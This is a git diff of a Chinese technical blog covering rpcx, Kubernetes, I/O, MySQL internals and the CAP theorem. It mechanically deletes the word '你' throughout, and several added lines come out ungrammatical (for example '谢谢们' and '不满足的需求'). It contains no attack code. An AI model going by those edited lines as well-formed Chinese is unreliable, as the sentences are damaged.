+上面的方式只能访问一台服务器，假设我们有固定的几台服务器提供相同的服务，我们可以采用这种方式。如果有多个服务但没有注册中心.可以用编码的方式在客户端中配置服务的地址。 服务器不需要进行更多的配置。客户端使用 MultipleServersDiscovery 并仅设置该服务的网络和地址。必须在 MultipleServersDiscovery 中设置服务信息和元数据。如果添加或删除了某些服务，可以调用 MultipleServersDiscovery.Update 来动态 ```go func (d *MultipleServersDiscovery) Update(pairs []*KVPair) @@ -1301,9 +1301,9 @@ func addRegistryPlugin(s *server.Server) { # Part 5 失败模式 -在分布式架构中， 如 SOA 或者微服务架构，你不能担保服务调用如你所预想的一样好。有时候服务会宕机、网络被挖断、网络变慢等，所以你需要容忍这些状况。 +在分布式架构中， 如 SOA 或者微服务架构，不能担保服务调用如所预想的一样好。有时候服务会宕机、网络被挖断、网络变慢等，所以需要容忍这些状况。 -rpcx 支持四种调用失败模式，用来处理服务调用失败后的处理逻辑， 你可以在创建 XClient 的时候设置它。 +rpcx 支持四种调用失败模式，用来处理服务调用失败后的处理逻辑， 可以在创建 XClient 的时候设置它。 FailMode 的设置仅仅对同步调用有效(XClient.Call), 异步调用用，这个参数是无意义的。 @@ -1546,7 +1546,7 @@ func main() { # Part 7 广播 broadcast -Broadcast 是 XClient 的一个方法， 你可以将一个请求发送到这个服务的所有节点。 如果所有的节点都正常返回，没有错误的话， Broadcast 将返回其中的一个节点的返回结果。 如果有节点返回错误的话，Broadcast 将返回这些错误信息中的一个。 +Broadcast 是 XClient 的一个方法， 可以将一个请求发送到这个服务的所有节点。 如果所有的节点都正常返回，没有错误的话， Broadcast 将返回其中的一个节点的返回结果。 如果有节点返回错误的话，Broadcast 将返回这些错误信息中的一个。 ```go func main() { @@ -1578,8 +1578,8 @@ func main() { 实际的场景中，我们往往为同一个服务部署多个节点，便于大量并发的访问，节点的集合可能在同一个数据中心，也可能在多个数据中心。 -客户端该如何选择一个节点呢？ rpcx 通过 Selector 来实现路由选择， 它就像一个负载均衡器，帮助你选择出一个合适的节点。 -rpcx 提供了多个路由策略算法，你可以在创建 XClient 来指定。 +客户端该如何选择一个节点呢？ rpcx 通过 Selector 来实现路由选择， 它就像一个负载均衡器，帮助选择出一个合适的节点。 +rpcx 提供了多个路由策略算法，可以在创建 XClient 来指定。 注意，这里的路由是针对 ServicePath 和 ServiceMethod 的路由。 ## 随机 @@ -1974,9 +1974,9 @@ func (c *xClient) ConfigGeoSelector(latitude, longitude float64) ## 定制路由规则 -如果上面内置的路由规则不满足你的需求，你可以参考上面的路由器自定义你自己的路由规则。 +如果上面内置的路由规则不满足的需求，可以参考上面的路由器自定义自己的路由规则。 -曾经有一个网友提到， 如果调用参数的某个字段的值是特殊的值的话，他们会把请求路由到一个指定的机房。这样的需求就要求你自己定义一个路由器，只需实现实现下面的接口： +曾经有一个网友提到， 如果调用参数的某个字段的值是特殊的值的话，他们会把请求路由到一个指定的机房。这样的需求就要求自己定义一个路由器，只需实现实现下面的接口： ```go type Selector interface { diff --git a/_posts/2022-11-12-test-markdown.md b/_posts/2022-11-12-test-markdown.md index c60a6e781887..8bfd9054cdae 100644 --- a/_posts/2022-11-12-test-markdown.md +++ b/_posts/2022-11-12-test-markdown.md @@ -21,7 +21,7 @@ Kubernetes 正迅速成为在云中部署和管理软件的新标准。然而， A node is the smallest unit of computing hardware in Kubernetes. It is a representation of a single machine in your cluster. In most production systems, a node will likely be either a physical machine in a datacenter, or virtual machine hosted on a cloud provider like Google Cloud Platform Don’t let conventions limit you, however; in theory, you can make a node out of almost anything -节点 是 Kubernetes 中计算硬件的最小单位。它是集群中单台机器的表示。在大多数生产系统中，节点可能是数据中心中的物理机，或者是托管在像 Google Cloud Platform 这样的云提供商上的虚拟机。但是，不要让约定限制您；理论上，你几乎可以用任何东西制作一个节点。 +节点 是 Kubernetes 中计算硬件的最小单位。它是集群中单台机器的表示。在大多数生产系统中，节点可能是数据中心中的物理机，或者是托管在像 Google Cloud Platform 这样的云提供商上的虚拟机。但是，不要让约定限制您；理论上，几乎可以用任何东西制作一个节点。 Thinking of a machine as a “node” allows us to insert a layer of abstraction. Now, instead of worrying about the unique characteristics of any individual machine, we can instead simply view each machine as a set of CPU and RAM resources that can be utilized. In this way, any machine can substitute any other machine in a Kubernetes cluster. diff --git a/_posts/2022-11-19-test-markdown.md b/_posts/2022-11-19-test-markdown.md index 63f0d1009f9b..608ea660502a 100644 --- a/_posts/2022-11-19-test-markdown.md +++ b/_posts/2022-11-19-test-markdown.md @@ -185,15 +185,15 @@ tags: [IO] #### 独立任务： -1. 夏天来了，你想要在穿好看的裙子或者是展示出你强壮的腹肌，你想要在一个月内减肥15斤，你该怎么做？ -2. 你想要看看上一个月哪些天你都运动，哪些天又没有？ -3. 你想要发布一则自己健身的动态？ -4. 你想要看看谁关注了你？ -5. 你想要记录你的跑步里程，你该怎么做？ -6. 你想要看看曾经发布过的历史动态，你该怎么做？ -7. 看你上一周都运动了多长时间，你该怎么做？ -8. 你想要看看你自己都关注了谁，你该怎么做？ -9. 你想要跟着专业的健身课程训练，你该怎么做？ +1. 夏天来了，想要在穿好看的裙子或者是展示出强壮的腹肌，想要在一个月内减肥15斤，该怎么做？ +2. 想要看看上一个月哪些天都运动，哪些天又没有？ +3. 想要发布一则自己健身的动态？ +4. 想要看看谁关注了？ +5. 想要记录的跑步里程，该怎么做？ +6. 想要看看曾经发布过的历史动态，该怎么做？ +7. 看上一周都运动了多长时间，该怎么做？ +8. 想要看看自己都关注了谁，该怎么做？ +9. 想要跟着专业的健身课程训练，该怎么做？ ## 3.测试过程记录 @@ -301,9 +301,9 @@ tags: [IO] 2.在什么场景下使用？ -3.你平时使用什么方式来管理自己的体重？ +3.平时使用什么方式来管理自己的体重？ -4.你觉得哪些功能使用起来不方便又困难？ +4.觉得哪些功能使用起来不方便又困难？ 5.跟练课程时，会感到不方便吗？ diff --git a/_posts/2022-11-20-test-markdown.md b/_posts/2022-11-20-test-markdown.md index dab843f7cec1..3367df440045 100644 --- a/_posts/2022-11-20-test-markdown.md +++ b/_posts/2022-11-20-test-markdown.md @@ -134,7 +134,7 @@ func Test(){ - 优先级调度 - 最终期限调度算法 -第⼀种，没有调度算法，是的，你没听错，它不对⽂件系统和应⽤程序的 I/O 做任何处理，这种算法常⽤在**虚拟机 I/O 中**，此时磁盘 I/O 调度算法交由物理机系统负责。 +第⼀种，没有调度算法，是的，没听错，它不对⽂件系统和应⽤程序的 I/O 做任何处理，这种算法常⽤在**虚拟机 I/O 中**，此时磁盘 I/O 调度算法交由物理机系统负责。 第⼆种，**先⼊先出 I/O 调度**算法，这是最简单的 I/O 调度算法，先进⼊ I/O 调度队列的 I/O 请求先发⽣。『那个进程的 I/O 请求先进入，先执行哪个』 diff --git a/_posts/2022-11-22-test-markdown.md b/_posts/2022-11-22-test-markdown.md index 589012676211..54fa3b257d82 100644 --- a/_posts/2022-11-22-test-markdown.md +++ b/_posts/2022-11-22-test-markdown.md @@ -167,7 +167,7 @@ db_orde_1、db_order_2 两个数据库内有完全相同的 t_order 表访问某 分库分表架构主要有两种模式：client 客户端模式和 proxy 代理模式 客户模式 -client 模式指分库分表的逻辑都在你的系统应用内部进行控制，应用会将拆分后的 SQL 直连多个数据库进行操作，然后本地进行数据的合并汇总等操作。 +client 模式指分库分表的逻辑都在的系统应用内部进行控制，应用会将拆分后的 SQL 直连多个数据库进行操作，然后本地进行数据的合并汇总等操作。 代理模式 proxy 代理模式将应用程序与 MySQL 数据库隔离，业务方的应用不在需要直连数据库，而是连接 proxy 代理服务，代理服务实现了 MySQL 的协议，对业务方来说代理服务就是数据库，它会将 SQL 分发到具体的数据库进行执行，并返回结果。该服务内有分库分表的配置，根据配置自动创建分片表。 diff --git a/_posts/2022-11-23-test-markdown.md b/_posts/2022-11-23-test-markdown.md index 449e33a1c76b..2ae82f1d619f 100644 --- a/_posts/2022-11-23-test-markdown.md +++ b/_posts/2022-11-23-test-markdown.md @@ -512,14 +512,14 @@ func (d *DisengagedBlockTable) Pop(num int) []*Item { - inode 列表，包含了块组中所有的 inode，inode ⽤于保存⽂件系统中与各个⽂件和⽬录相关的所有元数据。 - 数据块，包含⽂件的有⽤数据。 -你可以会发现每个块组⾥有很多重复的信息，⽐如超级块和块组描述符表，这两个都是全局信息，⽽且⾮常的重要，这么做是有两个原因：如果系统崩溃破坏了超级块或块组描述符，有关⽂件系统结构和内容的所有信息都会丢失。如果有冗余的副本，该信息是可能恢复的。通过使⽂件和管理数据尽可能近，减少了磁头寻道和旋转，这可以提⾼⽂件系统的性能。 +可以会发现每个块组⾥有很多重复的信息，⽐如超级块和块组描述符表，这两个都是全局信息，⽽且⾮常的重要，这么做是有两个原因：如果系统崩溃破坏了超级块或块组描述符，有关⽂件系统结构和内容的所有信息都会丢失。如果有冗余的副本，该信息是可能恢复的。通过使⽂件和管理数据尽可能近，减少了磁头寻道和旋转，这可以提⾼⽂件系统的性能。 不过，Ext2 的后续版本采⽤了稀疏技术。该做法是，超级块和块组描述符表不再存储到⽂件系统的每个块组中，⽽是只写⼊到块组 0、块组 1 和其他 ID 可以表示为 3、 5、7 的幂的块组中。 ## 7.目录的存储？ Tips:目录也是文件。（存储在磁盘）InNode(索引节点)块里面的内容是指向具体的数据块。（存储在磁盘）目录块里面存储的内容是一项一项的文件信息。 -在前⾯，我们知道了⼀个普通⽂件是如何存储的，但还有⼀个特殊的⽂件，经常⽤到的⽬录，它是如何保存的呢？基于 Linux ⼀切皆⽂件的设计思想，⽬录其实也是个⽂件，你甚⾄可以通过 vim 打开它，它也有 inode，inode ⾥⾯也是指向⼀些块。和普通⽂件不同的是，普通⽂件的块⾥⾯保存的是⽂件数据，⽽⽬录⽂件的块⾥⾯保存的是⽬录⾥⾯⼀项⼀项的⽂件信息。 +在前⾯，我们知道了⼀个普通⽂件是如何存储的，但还有⼀个特殊的⽂件，经常⽤到的⽬录，它是如何保存的呢？基于 Linux ⼀切皆⽂件的设计思想，⽬录其实也是个⽂件，甚⾄可以通过 vim 打开它，它也有 inode，inode ⾥⾯也是指向⼀些块。和普通⽂件不同的是，普通⽂件的块⾥⾯保存的是⽂件数据，⽽⽬录⽂件的块⾥⾯保存的是⽬录⾥⾯⼀项⼀项的⽂件信息。 ### 『列表』 @@ -588,7 +588,7 @@ Linux 系统的 ext ⽂件系统就是采⽤了哈希表，来保存⽬录的内 - 直接 I/O：不会发⽣内核缓存和⽤户程序之间数据复制，⽽是直接经过⽂件系统访问磁盘。 - ⾮直接 I/O，读操作时，数据从**内核缓存**中拷⻉给⽤户程序，写操作时，数据从⽤户程序拷⻉给**内核缓存**，再由内核决定什么时候写⼊数据到磁盘。 -如果你在使⽤⽂件操作类的系统调⽤函数时，指定了 O_DIRECT 标志，则表示使⽤直接 I/O。。如果没有设置过，默认使⽤的是⾮直接 I/O。如果⽤了⾮直接 I/O 进⾏写数据操作，内核什么情况下才会把缓存数据写⼊到磁盘？ +如果在使⽤⽂件操作类的系统调⽤函数时，指定了 O_DIRECT 标志，则表示使⽤直接 I/O。。如果没有设置过，默认使⽤的是⾮直接 I/O。如果⽤了⾮直接 I/O 进⾏写数据操作，内核什么情况下才会把缓存数据写⼊到磁盘？ 以下⼏种场景会触发内核缓存的数据写⼊磁盘? @@ -623,10 +623,10 @@ Linux 系统的 ext ⽂件系统就是采⽤了哈希表，来保存⽬录的内 异步 I/O 则不同，「过程 1 」和「过程 2 」都不会阻塞。 阻塞 I/O 好⽐: -你去饭堂吃饭，但是饭堂的菜还没做好，然后你就⼀直在那⾥等啊等，等了好⻓⼀段时间终于等到饭堂阿姨把菜端了出来（数据准备的过程），但是你还得继续等阿姨把菜（内核空间）打到你的饭盒⾥（⽤户空间），经历完这两个过程，你才可以离开。⾮阻塞 I/O 好⽐，你去了饭堂，问阿姨菜做好了没有，阿姨告诉你没，你就离开了，过⼏⼗分钟，你⼜来饭堂问阿姨，阿姨说做好了，于是阿姨帮你把菜打到你的饭盒⾥，这个过程你是得等待的。 +去饭堂吃饭，但是饭堂的菜还没做好，然后就⼀直在那⾥等啊等，等了好⻓⼀段时间终于等到饭堂阿姨把菜端了出来（数据准备的过程），但是还得继续等阿姨把菜（内核空间）打到的饭盒⾥（⽤户空间），经历完这两个过程，才可以离开。⾮阻塞 I/O 好⽐，去了饭堂，问阿姨菜做好了没有，阿姨告诉没，就离开了，过⼏⼗分钟，⼜来饭堂问阿姨，阿姨说做好了，于是阿姨帮把菜打到的饭盒⾥，这个过程是得等待的。 基于⾮阻塞的 I/O 多路复⽤好⽐: -你去饭堂吃饭，发现有⼀排窗⼝，饭堂阿姨告诉你这些窗⼝都还没做好菜，等做好了再通知你，于是等啊等（ select 调⽤中），过了⼀会阿姨通知你菜做好了，但是不知道哪个窗⼝的菜做好了，你⾃⼰看吧。于是你只能⼀个⼀个窗⼝去确认，后⾯发现 5 号窗⼝菜做好了，于是你让 5 号窗⼝的阿姨帮你打菜到饭盒⾥，这个打菜的过程你是要等待的，虽然时间不⻓。打完菜后，你⾃然就可以离开了。 +去饭堂吃饭，发现有⼀排窗⼝，饭堂阿姨告诉这些窗⼝都还没做好菜，等做好了再通知，于是等啊等（ select 调⽤中），过了⼀会阿姨通知菜做好了，但是不知道哪个窗⼝的菜做好了，⾃⼰看吧。于是只能⼀个⼀个窗⼝去确认，后⾯发现 5 号窗⼝菜做好了，于是让 5 号窗⼝的阿姨帮打菜到饭盒⾥，这个打菜的过程是要等待的，虽然时间不⻓。打完菜后，⾃然就可以离开了。 异步 I/O 好⽐: -你让饭堂阿姨将菜做好并把菜打到饭盒⾥后，把饭盒送到你⾯前，整个过程你都不需要任何等待。 +让饭堂阿姨将菜做好并把菜打到饭盒⾥后，把饭盒送到⾯前，整个过程都不需要任何等待。 diff --git a/_posts/2022-11-24-test-markdown.md b/_posts/2022-11-24-test-markdown.md index b4ce96443983..f99b4a539f2b 100644 --- a/_posts/2022-11-24-test-markdown.md +++ b/_posts/2022-11-24-test-markdown.md @@ -23,13 +23,13 @@ tags: [网络系统] ## 2.Linux ⽹络协议栈 -我们可以把⾃⼰的身体⽐作应⽤层中的数据，打底⾐服⽐作传输层中的 TCP 头，外套⽐作⽹络层中 IP 头，帽⼦和鞋⼦分别⽐作⽹络接⼝层的帧头和帧尾。在冬天这个季节，当我们要从家⾥出去玩的时候，⾃然要先穿个打底⾐服，再套上保暖外套，最后穿上帽⼦和鞋⼦才出⻔，这个过程就好像我们把 TCP 协议通信的⽹络包发出去的时候，会把应⽤层的数据按照⽹络协议栈层层封装和处理。你从下⾯这张图可以看到，应⽤层数据在每⼀层的封装格式。 +我们可以把⾃⼰的身体⽐作应⽤层中的数据，打底⾐服⽐作传输层中的 TCP 头，外套⽐作⽹络层中 IP 头，帽⼦和鞋⼦分别⽐作⽹络接⼝层的帧头和帧尾。在冬天这个季节，当我们要从家⾥出去玩的时候，⾃然要先穿个打底⾐服，再套上保暖外套，最后穿上帽⼦和鞋⼦才出⻔，这个过程就好像我们把 TCP 协议通信的⽹络包发出去的时候，会把应⽤层的数据按照⽹络协议栈层层封装和处理。从下⾯这张图可以看到，应⽤层数据在每⼀层的封装格式。 其中： - 传输层，给应⽤数据前⾯增加了 TCP 头； - ⽹络层，给 TCP 数据包前⾯增加了 IP 头； -- ⽹络接⼝层，给 IP 数据包前后分别增加了帧头和帧尾这些新增和头部和尾部，都有各⾃的作⽤，也都是按照特定的协议格式填充，这每⼀层都增加了各⾃的协议头，那⾃然⽹络包的⼤⼩就增⼤了，但物理链路并不能传输任意⼤⼩的数据包，所以在以太⽹中，规定了最⼤传输单元（MTU）是 1500 字节，也就是规定了单次传输的最⼤ IP 包⼤⼩。当⽹络包超过 MTU 的⼤⼩，就会在⽹络层分⽚，以确保分⽚后的 IP 包不会超过 MTU ⼤⼩，如果 MTU 越⼩，需要的分包就越多，那么⽹络吞吐能⼒就越差，相反的，如果 MTU 越⼤，需要的分包就越⼩，那么⽹络吞吐能⼒就越好。知道了 TCP/IP ⽹络模型，以及⽹络包的封装原理后，那么 Linux ⽹络协议栈的样⼦，你想必猜到了⼤概，它其实就类似于 TCP/IP 的四层结构： +- ⽹络接⼝层，给 IP 数据包前后分别增加了帧头和帧尾这些新增和头部和尾部，都有各⾃的作⽤，也都是按照特定的协议格式填充，这每⼀层都增加了各⾃的协议头，那⾃然⽹络包的⼤⼩就增⼤了，但物理链路并不能传输任意⼤⼩的数据包，所以在以太⽹中，规定了最⼤传输单元（MTU）是 1500 字节，也就是规定了单次传输的最⼤ IP 包⼤⼩。当⽹络包超过 MTU 的⼤⼩，就会在⽹络层分⽚，以确保分⽚后的 IP 包不会超过 MTU ⼤⼩，如果 MTU 越⼩，需要的分包就越多，那么⽹络吞吐能⼒就越差，相反的，如果 MTU 越⼤，需要的分包就越⼩，那么⽹络吞吐能⼒就越好。知道了 TCP/IP ⽹络模型，以及⽹络包的封装原理后，那么 Linux ⽹络协议栈的样⼦，想必猜到了⼤概，它其实就类似于 TCP/IP 的四层结构： 第一层： 应用程序 第二层： 系统调用 diff --git a/_posts/2022-11-26-test-markdown.md b/_posts/2022-11-26-test-markdown.md index 8c5b13a387d4..779a09dd5e77 100644 --- a/_posts/2022-11-26-test-markdown.md +++ b/_posts/2022-11-26-test-markdown.md @@ -43,7 +43,7 @@ tags: [golang] > 我们的业务通常会有几个数据会被频繁地访问，比如秒杀活动，这类被频地访问的数据被称为热点数据。 > 如果缓存中的某个热点数据过期了，此时大量的请求访问了该热点数据，就无法从缓存中读取，直接访问数据库，数据库很容易就被高并发的请求冲垮，这就是缓存击穿的问题。 -可以发现缓存击穿跟缓存雪崩很相似，你可以认为缓存击穿是缓存雪崩的一个子集。 +可以发现缓存击穿跟缓存雪崩很相似，可以认为缓存击穿是缓存雪崩的一个子集。 预防措施： @@ -275,7 +275,7 @@ func main() { 因为 nums1 和 nums3 的数据类型是不同的，nums1 的数据类型为数组，而 nums3 的数据类型是切片。 同样是用等号进行赋值，对于数组来说进行的是深拷贝（值拷贝），而切片则是浅拷贝（指针拷贝）。因此对 nums2 的赋值改变的是 nums2 地址空间的值，而对 nums4 的赋值修改的是 nums3 和 nums4 共用的内存地址。 -『2』那你能说说容量 cap 和长度 len 的区别是什么吗？ +『2』那能说说容量 cap 和长度 len 的区别是什么吗？ 容量 cap 是指为该切片准备了 cap 大小的内存空间，当切片中的数据数量不超过 cap 时，切片是不需要进行扩容的。而长度 len 表示的是切片中元素数量有 len 个，主要应用于切片的初始化。 例如下面这段代码，slice1 在赋值时是会报错的，只能通过 append 添加元素，而 slice2 是可以成功赋值的，通过 append 向 slice2 添加加元素时从 slice2[1]开始赋值。 @@ -302,7 +302,7 @@ if needcap > 2*old.cap{ } ``` -『4』在实际开发中，你注意过切片的使用技巧吗？ +『4』在实际开发中，注意过切片的使用技巧吗？ **切片和数组的选择**：正如前面说的数组是基本数据类型，而切片是包装类型通过 slice.array 指针进行寻址，多了一个二次寻址的过程。因此在明确数列的长度不会变化时，我会优先选择数组而不是切片。用 Benchmark 测一下。 ```shell diff --git a/_posts/2022-12-31-test-markdown.md b/_posts/2022-12-31-test-markdown.md index 0b1854b08565..8ded01f61690 100644 --- a/_posts/2022-12-31-test-markdown.md +++ b/_posts/2022-12-31-test-markdown.md @@ -13,7 +13,7 @@ tags: [2022] 2022 想感谢的人有很多，于是 👇 -（整理衣服）（大步流星走上台）（拿起麦克风）（激情发言）感谢大家（热泪盈眶）（哽咽）对我一年（流泪）（擦眼泪）以来的包容和陪伴（呜咽）以及社区的大佬我机会和鼓励（哭）（收拾心情）（大声说）谢谢你们！！！（激动）新的一年里 我会继续发疯 祸害大家！（大吼） +（整理衣服）（大步流星走上台）（拿起麦克风）（激情发言）感谢大家（热泪盈眶）（哽咽）对我一年（流泪）（擦眼泪）以来的包容和陪伴（呜咽）以及社区的大佬我机会和鼓励（哭）（收拾心情）（大声说）谢谢们！！！（激动）新的一年里 我会继续发疯 祸害大家！（大吼） 写在最后：希望我们在新的一年里，平安! 健康! 暴富! 暴美! 暴帅! (我们都会继续快乐地活过接下来的每一年） diff --git a/_posts/2023-1-1-test-markdown.md b/_posts/2023-1-1-test-markdown.md index f7887ccf8726..63093fdace78 100644 --- a/_posts/2023-1-1-test-markdown.md +++ b/_posts/2023-1-1-test-markdown.md @@ -11,7 +11,7 @@ tags: [操作系统] - 进程的上下文切换比线程的上下文切换要慢的多 - 进程是拥有资源的一个单位，线程不拥有系统资源，但是可以访问隶属于进程的资源 -#### 那你说说进程上下文切换和线程上下文切换的具体过程和区别？ +#### 那说说进程上下文切换和线程上下文切换的具体过程和区别？ 进程的上下文切换分两步： 1-因为在进程切换的时候，内存中已经缓存的地址空间将做废，所以需要缓存新的地址空间，切换页表 diff --git a/_posts/2023-1-19-test-markdown.md b/_posts/2023-1-19-test-markdown.md index 0ad3d278aebe..5e42d0ede44f 100644 --- a/_posts/2023-1-19-test-markdown.md +++ b/_posts/2023-1-19-test-markdown.md @@ -18,7 +18,7 @@ $ mysql -h$ip -u$user -p Mysql 客户端：连接命令中的 mysql 是客户端工具，用来和服务端建立连接，完成经典的 TCP 握手之后，连接器就要开始认证身份。 -> 如果认证通过，那么读出权限表里面查询该用户拥有的权限，这个连接里面的权限判断逻辑都依赖于此时读到权限。也就是说如果用管理员帐号对这个用户的权限进行修改，这种修改不会影响该连接，因为该连接需要的权限已经读取。如果客户端太长时间没有动静，那么连接器就会自动断开。如果在连接被断开之后，客户端再次发送请求的话，就会收到一个错误提醒： Lost connection to MySQL server during query。这时候如果你要继续，就需要重连，然后再执行请求了。 +> 如果认证通过，那么读出权限表里面查询该用户拥有的权限，这个连接里面的权限判断逻辑都依赖于此时读到权限。也就是说如果用管理员帐号对这个用户的权限进行修改，这种修改不会影响该连接，因为该连接需要的权限已经读取。如果客户端太长时间没有动静，那么连接器就会自动断开。如果在连接被断开之后，客户端再次发送请求的话，就会收到一个错误提醒： Lost connection to MySQL server during query。这时候如果要继续，就需要重连，然后再执行请求了。 Server 层：『连接器』『查询缓存』『分析器，优化器，执行器』 @@ -119,10 +119,10 @@ redo log (重做日志)和 binlog（归档日志）有很多有意思的设计 #### redolog -> 对于一个小酒馆，可以赊账和还账。那么你作为 boss 你有两种操作 +> 对于一个小酒馆，可以赊账和还账。那么作为 boss 有两种操作 -> 方法 1：对于每一个来赊账和还账和人，你直接账本上记录谁赊账或者还账。 -> 方法 2：对于每一个来赊账和还账和人，你先把他们的赊账或者还账信息记录在黑板上，等到没有人的时候再拿出账本进行操作。 +> 方法 1：对于每一个来赊账和还账和人，直接账本上记录谁赊账或者还账。 +> 方法 2：对于每一个来赊账和还账和人，先把他们的赊账或者还账信息记录在黑板上，等到没有人的时候再拿出账本进行操作。 > 这两种方法的不同是：多次拿出账本和一次性拿出账本。 @@ -180,7 +180,7 @@ mysql> update tbl_user set name="LiHua" where id =10 数据恢复： -当需要恢复到指定的某一秒时，比如某天下午两点发现中午十二点有一次误删表，需要找回数据，那你可以这么做： +当需要恢复到指定的某一秒时，比如某天下午两点发现中午十二点有一次误删表，需要找回数据，那可以这么做： > 1.首先找到最近的一次全量备份。2.取出 binlog 重放. @@ -277,7 +277,7 @@ DDL 语句：create event、create index、alter table、create database、trunc 二叉树：二叉树的搜索效率是 O（log(N)）但是大多数数据存储并不使用二叉树，原因是：索引不仅仅在内存，还在磁盘。 -> 你可以想象一下一棵 100 万节点的平衡二叉树，树高 20。一次查询可能需要访问 20 个数据块。在机械硬盘时代，从磁盘随机读一个数据块需要 10 ms 左右的寻址时间。也就是说，对于一个 100 万行的表，如果使用二叉树来存储，单独访问一个行可能需要 20 个 10 ms 的时间，这个查询可真够慢的。 +> 可以想象一下一棵 100 万节点的平衡二叉树，树高 20。一次查询可能需要访问 20 个数据块。在机械硬盘时代，从磁盘随机读一个数据块需要 10 ms 左右的寻址时间。也就是说，对于一个 100 万行的表，如果使用二叉树来存储，单独访问一个行可能需要 20 个 10 ms 的时间，这个查询可真够慢的。 > 为了让一个查询尽量少地读磁盘，就必须让查询过程访问尽量少的数据块。那么，我们就不应该使用二叉树，而是要使用“N 叉”树。这里，“N 叉”树中的“N”取决于数据块的大小。 @@ -324,7 +324,7 @@ A - Availability（可用性）: 在对分布式系统进行读或写操作时 P - Partition Tolerance（分区容忍性）: 系统应该在网络分区（即，节点之间的通信故障）的情况下继续运行。分区容忍性意味着系统应该能够容忍网络失败，即使这导致了系统组件之间的通信中断。 -CAP 理论的核心观点是，在任何给定的时间，分布式系统只能同时满足这三个属性中的两个。这通常被表述为 "你只能选两个"，并且这种权衡在设计和运行分布式系统时是非常重要的。 +CAP 理论的核心观点是，在任何给定的时间，分布式系统只能同时满足这三个属性中的两个。这通常被表述为 "只能选两个"，并且这种权衡在设计和运行分布式系统时是非常重要的。 > 为什么只能选两个？ @@ -335,11 +335,11 @@ CAP 理论的核心观点是，在一个分布式系统中，一致性（Consist 一致性与可用性的权衡： -如果你想保证一致性（C），那么在网络分区或其他故障发生时，你可能需要牺牲可用性（A）来确保所有节点都达到一致的状态。这可能意味着拒绝或延迟服务请求直到系统恢复一致。 -如果你想保证可用性（A），则在网络分区或其他故障发生时，你可能需要牺牲一致性（C）来继续处理请求。这可能意味着返回可能不一致或过时的数据。 +如果想保证一致性（C），那么在网络分区或其他故障发生时，可能需要牺牲可用性（A）来确保所有节点都达到一致的状态。这可能意味着拒绝或延迟服务请求直到系统恢复一致。 +如果想保证可用性（A），则在网络分区或其他故障发生时，可能需要牺牲一致性（C）来继续处理请求。这可能意味着返回可能不一致或过时的数据。 实际操作中的权衡：在实际的系统设计中，通常会根据业务需求和特定场景来进行权衡，选择更加偏向于一致性或可用性的设计。例如，一些系统可能可以容忍短暂的不一致，以换取更高的可用性；而另一些系统可能需要严格的一致性保证。 -因此，当说“只能选两个”时，通常的含义是，在面对网络分区这一不可避免的现实时（即，P 是必选的），你必须在一致性（C）和可用性（A）之间做出选择。 +因此，当说“只能选两个”时，通常的含义是，在面对网络分区这一不可避免的现实时（即，P 是必选的），必须在一致性（C）和可用性（A）之间做出选择。 @@ -493,9 +493,9 @@ CREATE TABLE `tuser` ( （李四）（张三，10）（张三，11）（张三，12）（王五） -当你的逻辑需求是查到所有名字是“张三”的人时，可以快速定位到 ID4，然后向后遍历得到所有需要的结果。 +当的逻辑需求是查到所有名字是“张三”的人时，可以快速定位到 ID4，然后向后遍历得到所有需要的结果。 -如果你要查的是所有名字第一个字是“张”的人，你的 SQL 语句的条件是"where name like ‘张 %’"。这时，你也能够用上这个索引，查找到第一个符合条件的记录是 ID3，然后向后遍历，直到不满足条件为止。 +如果要查的是所有名字第一个字是“张”的人，的 SQL 语句的条件是"where name like ‘张 %’"。这时，也能够用上这个索引，查找到第一个符合条件的记录是 ID3，然后向后遍历，直到不满足条件为止。 只要满足最左前缀，就可以利用索引来加速检索 @@ -503,7 +503,7 @@ CREATE TABLE `tuser` ( #### 索引下推 -上一段我们说到满足最左前缀原则的时候，最左前缀可以用于在索引中定位记录。这时，你可能要问，那些不符合最左前缀的部分，会怎么样呢？ +上一段我们说到满足最左前缀原则的时候，最左前缀可以用于在索引中定位记录。这时，可能要问，那些不符合最左前缀的部分，会怎么样呢？ 我们还是以市民表的联合索引（name, age）为例。如果现在有一个需求：检索出表中“名字第一个字是张，而且年龄是 10 岁的所有男孩”。那么，SQL 语句是这么写的： @@ -589,9 +589,9 @@ MySQL 的行锁是在引擎层由各个引擎自己实现的。但并不是所 『3』记录一条交易日志。 『4』试想如果同时有另外一个顾客 C 要在影院 B 买票，那么这两个事务冲突的部分就是语句 2 了。因为它们要更新同一个影院账户的余额，需要修改同一行数据。 -要完成这个交易，我们需要 update 两条记录，并 insert 一条记录。当然，为了保证交易的原子性，我们要把这三个操作放在一个事务中。那么，你会怎样安排这三个语句在事务中的顺序呢？ +要完成这个交易，我们需要 update 两条记录，并 insert 一条记录。当然，为了保证交易的原子性，我们要把这三个操作放在一个事务中。那么，会怎样安排这三个语句在事务中的顺序呢？ -根据两阶段锁协议，不论你怎样安排语句顺序，所有的操作需要的行锁都是在事务提交的时候才释放的。所以，如果你把语句 2 安排在最后，比如按照 3、1、2 这样的顺序，那么影院账户余额这一行的锁时间就最少。这就最大程度地减少了事务之间的锁等待，提升了并发度。 +根据两阶段锁协议，不论怎样安排语句顺序，所有的操作需要的行锁都是在事务提交的时候才释放的。所以，如果把语句 2 安排在最后，比如按照 3、1、2 这样的顺序，那么影院账户余额这一行的锁时间就最少。这就最大程度地减少了事务之间的锁等待，提升了并发度。 #### 死锁和死锁检测 @@ -613,11 +613,11 @@ MySQL 的行锁是在引擎层由各个引擎自己实现的。但并不是所 > 所以，正常情况下我们还是要采用第二种策略，即：主动死锁检测，而且 innodb_deadlock_detect 的默认值本身就是 on。主动死锁检测在发生死锁的时候，是能够快速发现并进行处理的，但是它也是有额外负担的。 -> 你可以想象一下这个过程：每当一个事务被锁的时候，就要看看它所依赖的线程有没有被别人锁住，如此循环，最后判断是否出现了循环等待，也就是死锁。 +> 可以想象一下这个过程：每当一个事务被锁的时候，就要看看它所依赖的线程有没有被别人锁住，如此循环，最后判断是否出现了循环等待，也就是死锁。 那如果是我们上面说到的所有事务都要更新同一行的场景呢？ -每个新来的被堵住的线程，都要判断会不会由于自己的加入导致了死锁，这是一个时间复杂度是 O(n) 的操作。假设有 1000 个并发线程要同时更新同一行，那么死锁检测操作就是 100 万这个量级的。虽然最终检测的结果是没有死锁，但是这期间要消耗大量的 CPU 资源。因此，你就会看到 CPU 利用率很高，但是每秒却执行不了几个事务。 +每个新来的被堵住的线程，都要判断会不会由于自己的加入导致了死锁，这是一个时间复杂度是 O(n) 的操作。假设有 1000 个并发线程要同时更新同一行，那么死锁检测操作就是 100 